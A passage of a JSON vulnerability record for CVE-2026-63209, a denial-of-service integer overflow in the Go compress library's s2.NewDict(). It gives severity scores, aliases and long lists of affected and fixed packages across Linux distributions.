{"id":"CVE-2026-63209","aliases":["AZL-105534","AZL-105906","BELL-CVE-2026-63209","DEBIAN-CVE-2026-63209","EUVD-2026-88977","GHSA-259r-337f-4rfw","GO-2026-5841","RHSA-2026:54413","RHSA-2026:54419","RHSA-2026:58472","RHSA-2026:68256","RHSA-2026:68272","RHSA-2026:68290","RHSA-2026:68591","RHSA-2026:68717","RHSA-2026:68729","RHSA-2026:68806","RHSA-2026:68808","RHSA-2026:70031","RHSA-2026:70670","RHSA-2026:70684","RHSA-2026:70726","RHSA-2026:72490","RHSA-2026:72491","RHSA-2026:72492","RHSA-2026:72493","RHSA-2026:72496","RHSA-2026:72497","RHSA-2026:72498","RHSA-2026:72507","RHSA-2026:72570","ROOT-APP-GOBINARY-CVE-2026-63209","SUSE-SU-2026:24120-1","SUSE-SU-2026:24131-1","SUSE-SU-2026:24153-1","SUSE-SU-2026:24222-1","SUSE-SU-2026:24247-1","SUSE-SU-2026:24261-1","SUSE-SU-2026:24277-1","SUSE-SU-2026:24282-1","SUSE-SU-2026:4554-1","SUSE-SU-2026:4661-1","SUSE-SU-2026:4662-1","SUSE-SU-2026:5119-1","UBUNTU-CVE-2026-63209","openSUSE-SU-2026:11939-1","openSUSE-SU-2026:11953-1","openSUSE-SU-2026:11955-1","openSUSE-SU-2026:11957-1","openSUSE-SU-2026:11960-1","openSUSE-SU-2026:11961-1","openSUSE-SU-2026:11962-1","openSUSE-SU-2026:11963-1","openSUSE-SU-2026:11964-1","openSUSE-SU-2026:12114-1","openSUSE-SU-2026:12163-1","openSUSE-SU-2026:12186-1","openSUSE-SU-2026:22039-1","openSUSE-SU-2026:22057-1","openSUSE-SU-2026:22078-1","openSUSE-SU-2026:22116-1","openSUSE-SU-2026:22117-1","openSUSE-SU-2026:22134-1","openSUSE-SU-2026:22140-1","openSUSE-SU-2026:22224-1","openSUSE-SU-2026:22227-1"],"status":"published","title":"Integer Overflow or Wraparound and Out-of-bounds Write in compress","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00572,"percentile":0.47654,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-190","CWE-787"],"published":"2026-07-27T16:16:22Z","modified":"2026-11-05T19:12:44Z","fixes":[{"ecosystem":"Go","package":"github.com/klauspost/compress","fixed_in":["1.18.7"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"golang-github-klauspost-compress","fixed_in":["1.19.0+ds1-1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"nats-server2.12","fixed_in":["0:2.12.15-0.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"k6v1","fixed_in":["0:1.8.1-0.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"nats-server2.14","fixed_in":["0:2.14.7-0.1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"skopeo","fixed_in":["0:1.24.1-1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"skopeo-tests","fixed_in":["0:1.24.1-1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"podman","fixed_in":["0:6.1.2-1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"podman-docker","fixed_in":["0:6.1.2-1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"podman-machine","fixed_in":["0:6.1.2-1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"podman-remote","fixed_in":["0:6.1.2-1.hum1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"podmansh","fixed_in":["0:6.1.2-1.hum1"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"github.com/klauspost/compress","fixed_in":["v1.17.11-aikido.1","v1.18.0-aikido.1","v1.15.9-aikido.1","v1.17.2-aikido.1","v1.18.1-aikido.1","v1.17.9-aikido.1","v1.18.6-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"rootio-github.com/klauspost/compress","fixed_in":["v1.17.11-root.io.1","v1.18.0-root.io.1","v1.15.9-root.io.1","v1.17.2-root.io.1","v1.18.1-root.io.1","v1.17.9-root.io.1","v1.18.6-root.io.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Micro 6.0","package":"google-osconfig-agent","fixed_in":["20260928.01-159998.1.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"distribution","fixed_in":["3.1.1-160000.5.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"distribution","fixed_in":["3.1.1-160000.5.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"google-osconfig-agent","fixed_in":["20260928.01-160000.1.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"google-osconfig-agent","fixed_in":["20260928.01-160000.1.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"aliyun-cli","fixed_in":["3.5.1-160000.1.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"aliyun-cli","fixed_in":["3.5.1-160000.1.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Micro 6.1","package":"google-osconfig-agent","fixed_in":["20260928.01-slfo.1.1_1.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 12","package":"google-osconfig-agent","fixed_in":["20260928.01-1.63.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"google-osconfig-agent","fixed_in":["20260928.01-150000.1.70.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP4","package":"google-osconfig-agent","fixed_in":["20260928.01-150000.1.70.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP5","package":"google-osconfig-agent","fixed_in":["20260928.01-150000.1.70.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP6","package":"google-osconfig-agent","fixed_in":["20260928.01-150000.1.70.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP7","package":"google-osconfig-agent","fixed_in":["20260928.01-150000.1.70.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP4","package":"amazon-cloudwatch-agent","fixed_in":["1.300073.0-150400.9.18.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP5","package":"amazon-cloudwatch-agent","fixed_in":["1.300073.0-150400.9.18.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP6","package":"amazon-cloudwatch-agent","fixed_in":["1.300073.0-150400.9.18.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP7","package":"amazon-cloudwatch-agent","fixed_in":["1.300073.0-150400.9.18.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"amazon-cloudwatch-agent","fixed_in":["1.300073.0-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"aliyun-cli","fixed_in":["3.5.1-2.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"cadvisor","fixed_in":["0.60.6-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"distribution","fixed_in":["3.1.1-9.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"go-containerregistry","fixed_in":["0.22.1-2.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"google-osconfig-agent","fixed_in":["20260928.01-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"hauler","fixed_in":["2.1.1-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"helm3","fixed_in":["3.22.0-3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"distribution","fixed_in":["3.1.1-160000.5.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"google-osconfig-agent","fixed_in":["20260928.01-160000.1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"cadvisor","fixed_in":["0.60.6-bp160.1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"aliyun-cli","fixed_in":["3.5.1-160000.1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/klauspost/compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.18.6"},{"fixed":"1.18.7"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"keda","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.14.1-19"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"telegraf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.31.0-33"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.18.0+ds1-1","1.18.1+ds1-1","1.18.6+ds1-1","1.18.6+ds1-2","1.19.0+ds1-1","1.19.0+ds1-2","1.20.0+ds1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.19.0+ds1-1"}]}],"versions":["1.18.0+ds1-1","1.18.1+ds1-1","1.18.6+ds1-1","1.18.6+ds1-2"]},{"source":"osv","ecosystem":"Go","package":"github.com/klauspost/compress","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.18.7"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/klauspost/compress","ranges":[{"type":"SEMVER","events":[{"introduced":"1.16.0"},{"fixed":"1.18.7"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"nats-server2.12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.12.15-0.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"k6v1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.8.1-0.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rekor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-0.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rekor-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-0.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"nats-server2.14","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.14.7-0.1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"opentelemetry-collector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.161.0-0.1.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"opentelemetry-collector-contrib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.161.0-0.1.hum1"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"opentelemetry-collector-k8s","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.161.0-0.1.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"helm3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.22.0-0.2.hum1"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"helm4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.3.0-0.2.hum1"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grype","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.119.0-0.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"syft","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.52.0-0.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"k6v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.0-0.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"buildah","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.45.1-1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"skopeo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.24.1-1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"skopeo-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.24.1-1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"podman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.1.2-1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"podman-docker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.1.2-1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"podman-machine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.1.2-1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"podman-remote","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.1.2-1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"podmansh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.1.2-1.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"tempo2.10","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.10.8-0.4.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"tempo3.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.3-0.4.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"trivy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.74.0-0.4.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.15","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.3-0.2.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.15-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.3-0.2.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.15-oidc-discovery-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.3-0.2.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"spire1.15-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.3-0.2.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"loki3.7","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.7.8-0.3.hum1"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"loki3.7-canary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.7.8-0.3.hum1"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"loki3.7-logcli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.7.8-0.3.hum1"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana12.4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.4.10-0.9.hum1"}]}],"bundled":3},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.6-0.4.hum1"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.1-0.8.hum1"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"loki3.6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.17-0.3.hum1"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"loki3.6-canary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.17-0.3.hum1"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"loki3.6-logcli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.17-0.3.hum1"}]}],"bundled":5},{"source":"osv","ecosystem":"Root:Go","package":"github.com/klauspost/compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v1.17.11-aikido.1"},{"fixed":"v1.18.0-aikido.1"},{"fixed":"v1.15.9-aikido.1"},{"fixed":"v1.17.2-aikido.1"},{"fixed":"v1.18.1-aikido.1"},{"fixed":"v1.17.9-aikido.1"},{"fixed":"v1.18.6-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"rootio-github.com/klauspost/compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v1.17.11-root.io.1"},{"fixed":"v1.18.0-root.io.1"},{"fixed":"v1.15.9-root.io.1"},{"fixed":"v1.17.2-root.io.1"},{"fixed":"v1.18.1-root.io.1"},{"fixed":"v1.17.9-root.io.1"},{"fixed":"v1.18.6-root.io.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.2","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-160000.2.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.0","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-159998.1.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"distribution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-160000.5.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"distribution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-160000.5.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-160000.1.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-160000.1.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-160000.2.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-160000.2.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.1-160000.1.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.1-160000.1.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.1","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-slfo.1.1_1.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.1","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-slfo.1.1_1.1"}]}],"bundled":20},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 12","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-1.63.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-150000.1.70.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP4","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-150000.1.70.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP5","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-150000.1.70.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP6","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-150000.1.70.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP7","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-150000.1.70.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP4","package":"amazon-cloudwatch-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.300073.0-150400.9.18.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP5","package":"amazon-cloudwatch-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.300073.0-150400.9.18.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP6","package":"amazon-cloudwatch-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.300073.0-150400.9.18.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP7","package":"amazon-cloudwatch-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.300073.0-150400.9.18.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Containers 15 SP7","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-150000.1.104.1"}]}],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0~git20151221.0.2dd54ae-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1-1","1.2.1-2","1.2.1-4","1.2.1-5"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1-5","1.7.6-2","1.9.5-1","1.9.5-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.7-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.15.12+ds1-3","1.17.7+ds1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.18.1+ds1-1","1.19.0+ds1-1","1.20.0+ds1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.18.0+ds1-1","1.18.1+ds1-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"amazon-cloudwatch-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.300073.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.1-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"cadvisor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.60.6-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"distribution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-9.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"go-containerregistry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.1-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260928.01-1.1"}]}]},{"so